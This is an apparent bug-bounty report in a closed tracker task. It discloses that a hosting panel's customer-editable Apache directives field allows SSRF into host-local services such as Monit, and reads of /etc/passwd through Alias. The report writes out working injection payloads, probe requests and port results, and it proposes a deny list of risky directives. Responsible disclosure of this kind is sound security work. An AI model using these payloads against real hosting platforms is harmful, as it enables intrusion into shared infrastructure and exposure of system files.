- Status Closed
-
Assigned To
cbay - Private
Opened by zlynv - 25.09.2026
Last edited by cbay - 28.09.2026
FS#504 - Customer-controlled `vhost_additional_directives` enables SSRF to host-local services
Customer-controlled `vhost_additional_directives` enables SSRF from the shared Apache frontend to host-local services (and host file exposure via `Alias`)
Severity suggested: Medium (program tier: "Exposure of internal tools" / SSRF, CVSS 4.0-6.9; no customer data was accessed)
Affected endpoint:
PATCH /v1/site/<id>/
(API v1, token auth) and the Site configuration form in the panel
Summary
A normal hosting account can modify
vhost_additional_directives
, which is
appended verbatim to the shared Apache frontend's vhost configuration. This permits
customer-controlled
ProxyPass
directives, allowing a public customer domain to
act as an SSRF proxy into
127.0.0.1
services on the frontend host. I verified
access to multiple host-local HTTP services, including Monit on port 2812 and an internal
JSON API on port 8300. The customer shell runs on a separate host (
jobs4
)
where these loopback services are not reachable, demonstrating that the issue crosses the
platform's tenant/network isolation boundary. The same configuration primitive also allows
Alias
-based exposure of files readable by the web-tier process, including
/etc/passwd
.
Per the program's SSRF guidance I stopped as soon as the issue was established and am
reporting it without further internal testing.
Background - why this is a security issue even though the feature is documented
The field is documented (API: "Directives qui seront ajoutées à la fin de la
configuration Apache pour ce virtual host") and exposed in the panel UI, so customers
are intentionally allowed to add directives. The vulnerability is not that the feature
exists, but that security-sensitive Apache capabilities are exposed across a tenant
isolation boundary: the customer is not merely configuring their own application, they
are influencing the network and filesystem reachability of the shared web frontend
process. Directives like
Header set
are reasonable for customers;
ProxyPass
,
Alias
,
Include
change the security
boundary of the host itself.
Primary issue: SSRF from the shared web frontend into host-local services
*A. The field is executed, not stored:*
{"vhost_additional_directives":"Header set X-Recon-Directive 1"}
→
204
→ subsequent response to my own site contains
x-recon-directive: 1
.
*B. The frontend itself is the proxy backend:*
{"vhost_additional_directives":"ProxyPass /reconint http://127.0.0.1:80/"}
→
204
→
GET /reconint/nonexist123
(with Host of my own site)
→
404
with the frontend's own response body
(
Site not found + Request ID: ...
). The request was processed by the shared
Apache instance and forwarded to another listener on its own
127.0.0.1
, with
the response relayed back through my public domain.
*C. The proxy reaches host-local services:*
One
ProxyPass
per port,
GET /
only, against a deliberately
limited set of ports taken from the platform's own service inventory (no port scan):
:2812 -> 401 Monit web UI ("You are not authorized to access monit...")
:8083 -> 401 Unauthorized
:8593 -> 401 Unauthorized
:8570 -> 200 HTTP service answering
:8598 -> 401 Python http.server-style error page
:8300 -> 404 {"code":"not_found"} (internal JSON API)
:5001-5005, :8443, :8568, :10086 -> 503 (no service / non-HTTP)
:8590, :5199, :4949 -> 502
All of these are bound to
127.0.0.1
on the frontend host and respond to
requests made through my public site. I did not attempt to authenticate to any of them
(no credentials tried, no brute force); Monit currently requires authentication (401) and
I stopped there. The security point demonstrated is reachability: customer-controlled
configuration creates a request path from my public domain to host-local management and
API services.
*D. The isolation boundary - this is not "the customer already has SSH":*
- A scheduled job on the account shell reports
hostname = jobs4
(<code>uid=550157</code>). From there, <code>curl http://127.0.0.1/</code> //fails// outright - there is no port-80 listener at all on <code>jobs4</code>.
- The site is served by
http22
: the same
Alias
primitive reading
<code>/etc/hostname</code> returns <code>http22</code>.
- There is no shell on
http22
for this account. The frontend's loopback
services are therefore unreachable from the account's legitimate environment by any other means.
```text
Attacker (ordinary tenant)
| PATCH /v1/site/<id>/ -> vhost_additional_directives v
Shared Apache on http22
| ProxyPass v
127.0.0.1:<port> on http22 → Monit / internal HTTP + JSON APIs
| v response relayed
public customer domain
Account shell: jobs4 → 127.0.0.1 (no relevant services reachable)
```
Without the configuration injection, this request path does not exist.
Secondary issue: host-local file exposure via `Alias`
{"vhost_additional_directives":"Alias /reconlfi \"/etc\""}
→
204
→
GET /reconlfi/passwd
→
200
with the content of
/etc/passwd
;
/reconlfi/hosts
→
200
(
/etc/hosts
);
/reconlfi/hostname
→
200
(
http22
). Directory listing stays
403
.
This is limited to files readable by the web-tier process - Apache does not bypass
filesystem permissions - and independently proves the injected directives execute in the
security context of the shared frontend, not as inert customer metadata.
Impact
- Tenant → frontend network position: any customer site can be turned into an SSRF proxy
to the frontend host's loopback services, including its management interface (Monit) and internal HTTP/JSON APIs, with responses read through the customer's public domain.
- Host-level information disclosure of files readable by the frontend process
(<code>/etc/passwd</code>, <code>/etc/hosts</code>, <code>/etc/hostname</code> demonstrated).
- No authentication was attempted against exposed services; no customer data was accessed,
modified, or destroyed.
Remediation
Keep the feature, restrict the directive set: allowlist benign customer directives
(headers, rewrite, limits…) and deny, for customer vhosts at least,
Alias
,
Redirect
,
ProxyPass
,
ProxyPassReverse
,
RewriteRule ... [P]
and
Include
- or run customer vhosts without
those modules and validate the generated configuration (
apachectl -t
) before
reload.
Testing methodology and cleanup
- Only my own account/site; the panel's documented feature and API only.
-
GET /
(read-only) probes; no authentication attempts, no brute force, no
port scan (ports pre-listed from the platform's own inventory), no writes to internal services, no DoS or load testing, requests kept serial and slow per program rules.
- All changes reverted and verified: probe paths return
404
, injected header
absent, site <code>200</code>; temporary job and files deleted.
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task